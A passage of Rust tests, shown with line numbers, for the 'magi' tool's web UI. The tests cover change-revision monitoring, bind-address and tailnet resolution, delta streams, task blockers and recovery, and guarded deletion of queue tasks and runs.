22218 let before = ui.monitor.revisions(&ui).await.expect("initial scan").3;
22222 let mut changes = ui.monitor.broadcaster.subscribe();
22223 let mut on_disk = ui.talks.get(&talk).expect("get seeded talk");
22224 on_disk.turns.push(crate::talk::Turn {
22225 sender: None,
22226 breaks: Some(Vec::new()),
22227 messages: Vec::new(),
22228 posted_by: None,
22229 who: crate::talk::Who::Operator,
22230 body: "a new turn".to_owned(),
22231 at: Timestamp::now(),
22232 attachments: Vec::new(),
22233 usage: None,
22234 });
22235 ui.talks.put(&mut on_disk).expect("record a turn");
22236
22237 let after = tokio::time::timeout(Duration::from_secs(5), async {
22238 loop {
22239 let change = changes.recv().await.expect("monitor notification");
22240 let revision = change.payload["talks_rev"].as_u64().expect("talks_rev");
22241 if revision != before {
22242 assert_eq!(
22243 change.payload["talks_delta"]["changed"],
22244 serde_json::json!([talk])
22245 );
22246 break revision;
22247 }
22248 }
22249 })
22250 .await
22251 .expect("shared monitor observes external turn");
22252 assert_ne!(
22253 before, after,
22254 "a phone must be able to notice a talk's reply without polling every store"
22255 );
22256 let Json(observed) = health(State(ui)).await.expect("health");
22257 assert_eq!(
22258 observed.talks_rev, after,
22259 "health exposes the same revision"
22260 );
22261 }
22262
22263 #[test]
22264 fn bind_reads_back_from_the_spelling_the_cli_prints() {
22265 for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
22269 assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
22270 }
22271 assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
22272 assert!("everywhere".parse::<Bind>().is_err());
22273 }
22274
22275 #[test]
22276 fn an_explicit_bind_address_is_taken_verbatim() {
22277 let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
22278
22279 let (addr, warning) = resolve_bind(&Bind::Addr(asked));
22280
22281 assert_eq!(addr, asked);
22282 assert!(
22283 warning.is_none(),
22284 "an operator who named an address gets no lecture"
22285 );
22286 }
22287
22288 #[test]
22289 fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
22290 let (addr, warning) = resolve_bind(&Bind::Auto);
22291
22292 match addr {
22299 IpAddr::V4(ip) if is_tailnet(&ip) => {
22300 assert!(warning.is_none(), "a tailnet address needs no warning");
22301 }
22302 other => {
22303 assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
22304 let warning = warning.expect("a fallback has to explain itself");
22305 assert!(
22306 warning.contains("127.0.0.1") && warning.contains("local-only"),
22307 "the warning says what happened and what it costs: {warning}"
22308 );
22309 }
22310 }
22311 }
22312
22313 #[test]
22314 fn only_the_cgnat_block_counts_as_a_tailnet_address() {
22315 assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
22319 assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
22320 assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
22321 assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
22322 assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
22323 }
22324
22325 #[test]
22326 fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
22327 let ids = vec![
22328 "20260902-140501-aaaa".to_owned(),
22329 "20260902-140502-aabb".to_owned(),
22330 ];
22331
22332 let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
22333 let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
22334 let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
22335
22336 assert_eq!(missing.status, StatusCode::NOT_FOUND);
22337 assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
22338 assert_eq!(short, "20260902-140502-aabb");
22339 }
22340 #[tokio::test]
22341 async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
22342 let fx = Fixture::start().await;
22348 let id = panel(
22349 &fx,
22350 "<img src=\"shot.png\">",
22351 &[("shot.png", b"\x89PNG\r\n\x1a\n")],
22352 );
22353
22354 let doc = fx
22356 .get(&format!("/api/questions/{id}/panel/index.html"))
22357 .await;
22358 assert_eq!(doc.status, 200, "{}", doc.body);
22359 assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
22360
22361 let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
22362 assert_eq!(sibling.status, 200, "{}", sibling.body);
22363 assert_eq!(sibling.header("content-type"), Some("image/png"));
22364 assert_eq!(
22365 sibling.header("content-security-policy"),
22366 Some(PANEL_CSP),
22367 "the sibling route must carry the same policy as the asset route"
22368 );
22369
22370 assert_eq!(
22373 fx.head(&format!("/api/questions/{id}/panel")).await.status,
22374 200
22375 );
22376 }
22377
22378 #[test]
22379 fn delta_stamps_cover_add_update_remove_and_noop() {
22380 let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
22381 let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
22382 let delta = diff_stamps(&before, &after, 42);
22383 assert_eq!(delta.base, 42);
22384 assert_eq!(delta.changed, ["b", "c"]);
22385 assert_eq!(delta.removed, ["a"]);
22386 let same = diff_stamps(&after, &after, 43);
22387 assert!(same.changed.is_empty() && same.removed.is_empty());
22388 assert_ne!(stamps_revision(&before), stamps_revision(&after));
22389 let nanos: Stamps = [("b".into(), (2, 20))].into();
22390 let same_ms: Stamps = [("b".into(), (3, 20))].into();
22391 assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
22392 assert_eq!(stamps_revision(&Stamps::new()), 0);
22393 }
22394
22395 fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
22396 std::fs::create_dir_all(home.join("runs")).unwrap();
22397 Arc::new(
22398 Ui::new(
22399 Queue::at(home.join("queue")),
22400 Questions::at(home.join("questions")),
22401 Talks::at(home.join("talks")),
22402 home.join("runs"),
22403 home.to_owned(),
22404 PathBuf::from("/repo/magi"),
22405 )
22406 .with_worktrees_root(home.join("wt")),
22407 )
22408 }
22409
22410 #[test]
22411 fn monitor_scan_isolates_store_failures_and_recovers() {
22412 let home = TempDir::new().unwrap();
22413 let ui = delta_test_ui(home.path());
22414 std::fs::create_dir_all(ui.questions.root()).unwrap();
22415 std::fs::write(ui.questions.root().join("q.json"), "{}").unwrap();
22416 let before = monitor_scan(&ui, None);
22417 std::fs::rename(ui.questions.root(), home.path().join("saved-questions")).unwrap();
22418 std::fs::write(ui.questions.root(), "not a directory").unwrap();
22419 std::fs::create_dir_all(ui.talks.root()).unwrap();
22420 std::fs::write(ui.talks.root().join("new.json"), "{}").unwrap();
22421 let during = monitor_scan(&ui, Some(before.clone()));
22422 assert_eq!(during.0.2, before.0.2);
22423 assert_ne!(during.0.3, before.0.3);
22424 assert!(during.1[2].contains_key("new"));
22425 std::fs::remove_file(ui.questions.root()).unwrap();
22426 let after = monitor_scan(&ui, Some(during));
22427 assert_eq!(after.0.2, 0);
22428 assert_eq!(after.0.3, stamps_revision(&after.1[2]));
22429 std::fs::write(ui.questions.root(), "not a directory").unwrap();
22431 assert_eq!(monitor_scan(&ui, None).0.3, after.0.3);
22432 }
22433
22434 #[tokio::test]
22435 async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
22436 let home = TempDir::new().unwrap();
22437 let ui = delta_test_ui(home.path());
22438 let mut task = Task::new(
22439 "stream task".into(),
22440 "text".into(),
22441 PathBuf::from("/repo"),
22442 Source::Human,
22443 );
22444 ui.queue.put(&mut task).unwrap();
22445 let response = events(State(ui.clone())).await.into_response();
22446 let mut stream = response.into_body().into_data_stream();
22447 async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
22448 let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
22449 .await
22450 .unwrap()
22451 .unwrap()
22452 .unwrap();
22453 let text = String::from_utf8(chunk.to_vec()).unwrap();
22454 let data = text
22455 .lines()
22456 .find_map(|line| {
22457 line.strip_prefix("data: ")
22458 .or_else(|| line.strip_prefix("data:"))
22459 })
22460 .unwrap();
22461 serde_json::from_str(data).unwrap()
22462 }
22463 let initial = change(&mut stream).await;
22464 assert!(initial.get("queue_delta").is_none());
22465 task.instruction.push_str(" changed");
22466 ui.queue.put(&mut task).unwrap();
22467 let updated = change(&mut stream).await;
22468 assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
22469 assert_eq!(
22470 updated["queue_delta"]["changed"],
22471 serde_json::json!([task.id])
22472 );
22473 assert_eq!(
22474 updated["queue_rev"].as_u64(),
22475 Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
22476 );
22477 std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
22478 let removed = change(&mut stream).await;
22479 assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
22480 assert_eq!(
22481 removed["queue_delta"]["removed"],
22482 serde_json::json!([task.id])
22483 );
22484 }
22485
22486 #[tokio::test]
22487 async fn delta_lists_keep_blockers_and_respect_the_run_window() {
22488 let home = TempDir::new().unwrap();
22489 let ui = delta_test_ui(home.path());
22490 let queue = ui.queue.clone();
22491 let query = |ids: Option<&str>| {
22492 Query(ListQuery {
22493 limit: Some(2),
22494 ids: ids.map(str::to_owned),
22495 })
22496 };
22497 let mut root = Task::new(
22498 "root".into(),
22499 "instruction".into(),
22500 PathBuf::from("/repo"),
22501 Source::Human,
22502 );
22503 queue.put(&mut root).unwrap();
22504 let mut blocked = Task::new(
22505 "blocked".into(),
22506 "instruction".into(),
22507 PathBuf::from("/repo"),
22508 Source::Human,
22509 );
22510 blocked.block(vec![root.id.clone()], None);
22511 queue.put(&mut blocked).unwrap();
22512 let whole =
22513 serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
22514 .unwrap();
22515 let subset = serde_json::to_value(
22516 queue_list(State(ui.clone()), query(Some(&root.id)))
22517 .await
22518 .unwrap()
22519 .0,
22520 )
22521 .unwrap();
22522 assert_eq!(whole, subset, "requested root plus its blocked dependent");
22523 let blockers = serde_json::to_value(
22524 queue_list(State(ui.clone()), query(Some("")))
22525 .await
22526 .unwrap()
22527 .0,
22528 )
22529 .unwrap();
22530 assert_eq!(blockers.as_array().unwrap().len(), 1);
22531 assert_eq!(blockers[0]["id"], blocked.id);
22532 assert_eq!(
22533 blockers[0]["waits_on"],
22534 whole
22535 .as_array()
22536 .unwrap()
22537 .iter()
22538 .find(|row| row["id"] == blocked.id)
22539 .unwrap()["waits_on"]
22540 );
22541
22542 for id in [
22543 "20260902-140501-aaaa",
22544 "20260902-140502-bbbb",
22545 "20260902-140503-cccc",
22546 ] {
22547 write_run(&ui.runs, id, RunStatus::Merged);
22548 }
22549 let old = serde_json::to_value(
22550 runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
22551 .await
22552 .unwrap()
22553 .0,
22554 )
22555 .unwrap();
22556 assert!(
22557 old.as_array().unwrap().is_empty(),
22558 "older updates must not enter the window"
22559 );
22560 let newest = serde_json::to_value(
22561 runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
22562 .await
22563 .unwrap()
22564 .0,
22565 )
22566 .unwrap();
22567 assert_eq!(newest.as_array().unwrap().len(), 1);
22568 assert_eq!(newest[0]["id"], "20260902-140503-cccc");
22569
22570 seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
22571 seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
22572 let talks = serde_json::to_value(
22573 talks_list(
22574 State(ui.clone()),
22575 query(Some("20260905-000000-d4e5")),
22576 header::HeaderMap::new(),
22577 )
22578 .await
22579 .unwrap()
22580 .0,
22581 )
22582 .unwrap();
22583 assert_eq!(talks.as_array().unwrap().len(), 1);
22584 assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
22585 assert_eq!(
22586 serde_json::to_value(
22587 talks_list(State(ui.clone()), query(Some("")), header::HeaderMap::new())
22588 .await
22589 .unwrap()
22590 .0
22591 )
22592 .unwrap(),
22593 serde_json::json!([])
22594 );
22595 }
22596
22597 #[tokio::test]
22598 #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
22599 async fn delta_payload_benchmark() {
22600 let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
22601 let ui = delta_test_ui(&home);
22602 let query = |ids: Option<String>| {
22603 Query(ListQuery {
22604 limit: Some(50),
22605 ids,
22606 })
22607 };
22608 let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
22609 let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
22610 let talks = talks_list(State(ui.clone()), query(None), header::HeaderMap::new())
22611 .await
22612 .unwrap()
22613 .0;
22614 let queue_id = queue
22615 .iter()
22616 .find(|row| row.task.status == crate::queue::TaskStatus::Running)
22617 .unwrap_or(&queue[0])
22618 .task
22619 .id
22620 .clone();
22621 let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
22622 .await
22623 .unwrap()
22624 .0;
22625 let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
22626 .await
22627 .unwrap()
22628 .0;
22629 let talks_delta = talks_list(
22630 State(ui.clone()),
22631 query(Some(talks[0].id.clone())),
22632 header::HeaderMap::new(),
22633 )
22634 .await
22635 .unwrap()
22636 .0;
22637 let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
22638 eprintln!(
22639 "DELTA_PAYLOAD {}",
22640 serde_json::json!({
22641 "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
22642 "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
22643 "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
22644 "counts": [queue.len(), runs.len(), talks.len()],
22645 "blocked": queue_delta.len() - 1,
22646 })
22647 );
22648 }
22649
22650 #[test]
22651 fn runs_revision_moves_when_deleting_an_older_run() {
22652 let temp = TempDir::new().expect("tempdir");
22653 let runs = temp.path().join("runs");
22654 std::fs::create_dir_all(&runs).expect("create runs dir");
22655
22656 assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
22657
22658 write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
22659 std::thread::sleep(Duration::from_millis(10));
22660 write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
22661
22662 let rev_before = runs_revision(&runs);
22663 assert!(rev_before > 0);
22664
22665 let old_dir = runs.join("20260901-100000-old1");
22666 std::fs::remove_dir_all(&old_dir).expect("remove old run");
22667
22668 let rev_after = runs_revision(&runs);
22669 assert_ne!(
22670 rev_before, rev_after,
22671 "deleting an older run must change the revision so other clients see the deletion"
22672 );
22673 }
22674
22675 fn write_state(runs: &FsPath, state: &RunState) {
22680 let dir = runs.join(&state.id);
22681 std::fs::create_dir_all(&dir).expect("run dir");
22682 std::fs::write(
22683 dir.join("run.json"),
22684 serde_json::to_string_pretty(state).expect("serialize run"),
22685 )
22686 .expect("write run.json");
22687 }
22688
22689 #[test]
22694 fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
22695 let temp = TempDir::new().expect("tempdir");
22696 let runs = temp.path().join("runs");
22697 std::fs::create_dir_all(&runs).expect("create runs dir");
22698 let mut state = RunState::new(
22699 PathBuf::from("/repo/magi"),
22700 "main".to_owned(),
22701 "0123456789abcdef".to_owned(),
22702 "task".to_owned(),
22703 Config::default(),
22704 );
22705 state.id = "20260902-100000-c0de".to_owned();
22706 write_state(&runs, &state);
22707
22708 let rev_idle = runs_revision(&runs);
22709 std::thread::sleep(Duration::from_millis(10));
22710 state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
22711 write_state(&runs, &state);
22712 let rev_started = runs_revision(&runs);
22713 assert_ne!(
22714 rev_idle, rev_started,
22715 "a seat starting must move the revision"
22716 );
22717
22718 std::thread::sleep(Duration::from_millis(10));
22719 state.seat_finished("judge-1");
22720 write_state(&runs, &state);
22721 let rev_finished = runs_revision(&runs);
22722 assert_ne!(
22723 rev_started, rev_finished,
22724 "and clearing it again must move the revision a second time"
22725 );
22726 }
22727
22728 #[tokio::test]
22729 async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
22730 let fx = Fixture::start().await;
22735 let q = fx.queue();
22736
22737 let mut t = Task::new(
22738 "Task".to_owned(),
22739 "Instruction".to_owned(),
22740 PathBuf::from("/repo"),
22741 Source::Human,
22742 );
22743 t.block(
22744 vec!["20260101-000000-dead".to_owned()],
22745 Some("waiting on Task 1".to_owned()),
22746 );
22747 t.answers.push(crate::queue::AnsweredQuestion {
22748 question: "Which backend?".to_owned(),
22749 answer: "SQLite".to_owned(),
22750 });
22751 q.put(&mut t).expect("put t");
22752
22753 let res = fx.get("/api/queue").await;
22754 assert_eq!(res.status, 200);
22755 let list = res.json();
22756 let view = list
22757 .as_array()
22758 .expect("array")
22759 .iter()
22760 .find(|v| v["id"] == t.id)
22761 .expect("task in list");
22762 assert_eq!(view["status_str"], "blocked");
22763 assert_eq!(
22764 view["blocked_by"],
22765 serde_json::json!(["20260101-000000-dead"])
22766 );
22767 assert_eq!(view["block_reason"], "waiting on Task 1");
22768 assert_eq!(view["answers"][0]["question"], "Which backend?");
22769 assert_eq!(view["answers"][0]["answer"], "SQLite");
22770
22771 let res = fx
22775 .post(&format!("/api/queue/{}/hold", t.short()), None)
22776 .await;
22777 assert_eq!(res.status, 200);
22778 let held = res.json();
22779 assert_eq!(held["status_str"], "held");
22780 assert_eq!(held["blocked_by"], serde_json::json!([]));
22781 assert!(held["block_reason"].is_null());
22782 assert_eq!(held["answers"][0]["answer"], "SQLite");
22783 }
22784
22785 #[tokio::test]
22786 async fn task_recovery_pending_decisions_block_disk_autoresume() {
22787 let fx = Fixture::start().await;
22788 let queue = fx.queue();
22789 let questions = fx.questions();
22790 let mut task = Task::new(
22791 "Disk recovery".into(),
22792 "Inspect".into(),
22793 PathBuf::from("/repo"),
22794 Source::Human,
22795 );
22796 task.hold_machine(crate::disk::gate(2_667_941_888, 3_221_225_472));
22797 task.mark_disk_capacity();
22798 queue.put(&mut task).unwrap();
22799 let mut records = Vec::new();
22800 for node in [crate::triage::NODE, crate::triage::DEPS_NODE] {
22801 let mut q = Question::new(
22802 task.id.clone(),
22803 node.into(),
22804 "triage".into(),
22805 "Resume recovery?".into(),
22806 String::new(),
22807 vec![],
22808 );
22809 q.routed_task = Some(task.id.clone());
22810 questions.put(&mut q).unwrap();
22811 records.push(q);
22812 }
22813 let url = format!("/api/queue/{}", task.id);
22814 let view = fx.get(&url).await.json();
22815 assert_eq!(view["status_str"], "held");
22816 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22817 assert!(
22818 view["recovery"]
22819 .as_str()
22820 .unwrap()
22821 .contains("Disk recovery alone will not resume")
22822 );
22823 assert!(
22824 view["recovery"]
22825 .as_str()
22826 .unwrap()
22827 .contains("Disk wait (automatically monitored)")
22828 );
22829 for blocker in view["blockers"].as_array().unwrap() {
22830 assert!(blocker["destination"].is_null());
22831 assert!(
22832 blocker["next"]
22833 .as_str()
22834 .unwrap()
22835 .contains("pending delivery")
22836 );
22837 }
22838 for q in &mut records {
22839 q.routed_chat = Some("owning-chat".into());
22840 questions.put(q).unwrap();
22841 }
22842 let view = fx.get(&url).await.json();
22843 for blocker in view["blockers"].as_array().unwrap() {
22844 assert_eq!(
22845 blocker["destination"],
22846 serde_json::json!(["chat", "owning-chat"])
22847 );
22848 assert_eq!(blocker["resolves_itself"], false);
22849 }
22850 for q in &mut records {
22852 q.status = ask::QuestionStatus::Answered;
22853 questions.put(q).unwrap();
22854 }
22855 assert!(crate::triage::pending_for(&questions, &task));
22856 let view = fx.get(&url).await.json();
22857 assert_eq!(view["blockers"].as_array().unwrap().len(), 2);
22858 assert!(
22859 view["blockers"][0]["next"]
22860 .as_str()
22861 .unwrap()
22862 .contains("not yet applied")
22863 );
22864 for q in &records {
22865 task.mark_triage_applied(&q.id);
22866 }
22867 queue.put(&mut task).unwrap();
22868 assert!(!crate::triage::pending_for(&questions, &task));
22869 assert_eq!(fx.get(&url).await.json()["blockers"], serde_json::json!([]));
22870 assert_eq!(queue.get(&task.id).unwrap().status, TaskStatus::Held);
22871 }
22872
22873 #[test]
22874 fn task_recovery_distinguishes_dependency_restoration_and_hold_ownership() {
22875 use crate::queue::HoldSource;
22876 let mut task = Task::new(
22877 "Recovery".into(),
22878 "Inspect".into(),
22879 PathBuf::from("/repo"),
22880 Source::Human,
22881 );
22882 assert!(task_recovery(&task).is_none());
22883 task.hold_manual(Some("Operator paused".into()));
22884 assert!(task_recovery(&task).unwrap().contains("explicitly Release"));
22885 task.block(vec!["dependency".into()], Some("Decision needed".into()));
22886 let text = task_recovery(&task).unwrap();
22887 assert!(text.contains("restores held"));
22888 assert!(text.contains("clears its dependency references"));
22889 task.hold_source = Some(HoldSource::Machine);
22890 task.hold_reason = crate::disk::gate(2_667_941_888, 3_221_225_472);
22891 task.mark_disk_capacity();
22892 let view = TaskView::with_inventory(
22893 task.clone(),
22894 &crate::blockers::Inventory::new(vec![task.clone()], &[]),
22895 );
22896 let json = serde_json::to_value(view).unwrap();
22897 assert_eq!(json["block_reason"], "Decision needed");
22898 assert!(json["hold_reason"].as_str().unwrap().contains("2667941888"));
22899 let recovery = json["recovery"].as_str().unwrap();
22900 assert!(recovery.contains("not current capacity"));
22901 assert!(recovery.contains("triage rechecks"));
22902 assert_eq!(json["blockers"][0]["state"], "missing");
22903 task.blocked_from = Some(TaskStatus::Queued);
22904 assert!(!task_recovery(&task).unwrap().contains("triage rechecks"));
22905 task.blocked_from = None;
22906 assert!(task_recovery(&task).unwrap().contains("restores held"));
22907 }
22908
22909 #[tokio::test]
22910 async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
22911 let fx = Fixture::start().await;
22912 let q = fx.queue();
22913 let mk = |title: &str| {
22914 Task::new(
22915 title.to_owned(),
22916 "Instruction".to_owned(),
22917 PathBuf::from("/repo"),
22918 Source::Human,
22919 )
22920 };
22921 let mut root = mk("root");
22922 root.hold_manual(Some("waiting".to_owned()));
22923 q.put(&mut root).unwrap();
22924 let mut mid = mk("mid");
22925 mid.block(vec![root.id.clone()], None);
22926 q.put(&mut mid).unwrap();
22927 let mut leaf = mk("leaf");
22928 leaf.block(vec![mid.id.clone()], None);
22929 q.put(&mut leaf).unwrap();
22930
22931 let list = fx.get("/api/queue").await.json();
22932 let find = |id: &str| {
22933 list.as_array()
22934 .unwrap()
22935 .iter()
22936 .find(|v| v["id"] == id)
22937 .unwrap()
22938 .clone()
22939 };
22940 let leaf_view = find(&leaf.id);
22941 assert_eq!(
22942 leaf_view["waits_on"],
22943 serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
22944 );
22945 assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
22946 assert_eq!(
22947 find(&mid.id)["waits_on"],
22948 serde_json::json!([format!("{} (held)", root.short())])
22949 );
22950 assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
22951 }
22952
22953 #[tokio::test]
22954 async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
22955 let fx = Fixture::start().await;
22956 let q = fx.queue();
22957
22958 let mut t1 = Task::new(
22960 "Task 1".to_owned(),
22961 "Instruction 1".to_owned(),
22962 PathBuf::from("/repo"),
22963 Source::Human,
22964 );
22965 let run_id = "20260901-000000-r111";
22966 t1.runs.push(run_id.to_owned());
22967 write_run(&fx.runs(), run_id, RunStatus::Merged);
22968 q.put(&mut t1).expect("put t1");
22969
22970 let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
22972 assert_eq!(res.status, 204);
22973 assert!(res.body.is_empty(), "204 No Content has no body");
22974 assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
22975 assert!(
22976 fx.runs().join(run_id).exists(),
22977 "run directory must not be deleted when its task is deleted"
22978 );
22979
22980 let mut t2 = Task::new(
22982 "Task 2".to_owned(),
22983 "Instruction 2".to_owned(),
22984 PathBuf::from("/repo"),
22985 Source::Human,
22986 );
22987 t2.status = TaskStatus::Running;
22988 q.put(&mut t2).expect("put t2");
22989 let mut beat = crate::daemon::Status::new();
22990 beat.current = vec![crate::daemon::Current {
22991 worker: None,
22992 task: t2.id.clone(),
22993 run: "20260901-000000-r222".to_owned(),
22994 }];
22995 beat.updated_at = jiff::Timestamp::now();
22996 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
22997 .expect("publish a heartbeat");
22998 let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
22999 assert_eq!(res.status, 409);
23000 assert!(
23001 res.json()["error"]
23002 .as_str()
23003 .unwrap()
23004 .contains("live daemon")
23005 );
23006 assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23007
23008 beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23014 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23015 .expect("leave a stale heartbeat");
23016 let mut t3 = Task::new(
23017 "Task 3".to_owned(),
23018 "Instruction 3".to_owned(),
23019 PathBuf::from("/repo"),
23020 Source::Human,
23021 );
23022 t3.status = TaskStatus::Running;
23023 q.put(&mut t3).expect("put t3");
23024 std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23025 let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23026 assert_eq!(res.status, 204);
23027 assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23028 assert!(
23029 q.claim(&t3.id).is_ok(),
23030 "the stale lock went with it, so the id is claimable again"
23031 );
23032
23033 let res = fx.delete("/api/queue/nonexistent").await;
23035 assert_eq!(res.status, 404);
23036 }
23037
23038 #[tokio::test]
23039 async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23040 let fx = Fixture::start().await;
23041 let runs = fx.runs();
23042
23043 let run_id = "20260901-000000-fold";
23045 let mut state = RunState::new(
23046 PathBuf::from("/repo"),
23047 "main".to_owned(),
23048 "abc".to_owned(),
23049 "instruction".to_owned(),
23050 Config::default(),
23051 );
23052 state.id = run_id.to_owned();
23053 state.status = RunStatus::Merged;
23054 state.candidates.push(crate::run::Candidate {
23055 index: 0,
23056 label: 'A',
23057 agent: "a".to_owned(),
23058 branch: "b".to_owned(),
23059 worktree: PathBuf::from("/w"),
23060 summary: String::new(),
23061 stat: String::new(),
23062 files: 1,
23063 commits: 1,
23064 empty: false,
23065 failed: None,
23066 verified_noop: None,
23067 duration_ms: 0,
23068 folded: true,
23069 });
23070 let dir = runs.join(run_id);
23071 std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23072 std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23073 .expect("write artifact");
23074 std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23075 .expect("write run.json");
23076
23077 let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23079 assert_eq!(res.status, 204);
23080 assert!(res.body.is_empty(), "204 has no body");
23081 assert!(!dir.exists(), "run directory and artifacts must be deleted");
23082
23083 let run_running = "20260901-000000-rung";
23088 write_run(&runs, run_running, RunStatus::Prep);
23089 let mut beat = crate::daemon::Status::new();
23090 beat.current = vec![crate::daemon::Current {
23091 worker: None,
23092 task: "20260901-000000-task".to_owned(),
23093 run: run_running.to_owned(),
23094 }];
23095 beat.updated_at = jiff::Timestamp::now();
23096 crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23097 .expect("publish a heartbeat");
23098 let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23099 assert_eq!(res.status, 409);
23100 assert!(
23101 res.json()["error"]
23102 .as_str()
23103 .unwrap()
23104 .contains("live daemon"),
23105 "the refusal must say who is holding it"
23106 );
23107 assert!(
23108 runs.join(run_running).exists(),
23109 "a run in flight keeps its directory"
23110 );
23111
23112 let run_unfolded = "20260901-000000-unfd";
23114 let mut state2 = RunState::new(
23115 PathBuf::from("/repo"),
23116 "main".to_owned(),
23117 "abc".to_owned(),
23118 "instruction".to_owned(),
23119 Config::default(),
23120 );
23121 state2.id = run_unfolded.to_owned();
23122 state2.status = RunStatus::Ready;
23123 state2.candidates.push(crate::run::Candidate {
23124 index: 0,
23125 label: 'A',
23126 agent: "a".to_owned(),
23127 branch: "b".to_owned(),
23128 worktree: PathBuf::from("/w"),
23129 summary: String::new(),
23130 stat: String::new(),
23131 files: 1,
23132 commits: 1,
23133 empty: false,
23134 failed: None,
23135 verified_noop: None,
23136 duration_ms: 0,
23137 folded: false,
23138 });
23139 let dir2 = runs.join(run_unfolded);
23140 std::fs::create_dir_all(&dir2).expect("create dir2");
23141 std::fs::write(
23142 dir2.join("run.json"),
23143 serde_json::to_string(&state2).unwrap(),
23144 )
23145 .expect("write run.json");
23146
23147 let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
23148 assert_eq!(res.status, 409);
23149 assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
23150 assert!(dir2.exists(), "unfolded run directory is kept");
23151
23152 let res = fx.delete("/api/runs/nonexistent").await;
23154 assert_eq!(res.status, 404);
23155 }
23156
23157 #[test]
23166 fn stats_queue_tiles_render_even_when_there_are_no_runs() {
23167 let start = APP_JS
23168 .find("function renderStats() {")
23169 .expect("renderStats");
23170 let end = start
23171 + APP_JS[start..]
23172 .find("function statsTile(")
23173 .expect("the next top-level function");
23174 let body = &APP_JS[start..end];
23175
23176 let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
23177 let gate_end = gate_start
23178 + body[gate_start..]
23179 .find("}\n renderStatsQueue")
23180 .expect("the gate's own closing brace, right before the unconditional call");
23181 let gated = &body[gate_start..gate_end];
23182
23183 assert_eq!(
23184 body.matches("renderStatsQueue(").count(),
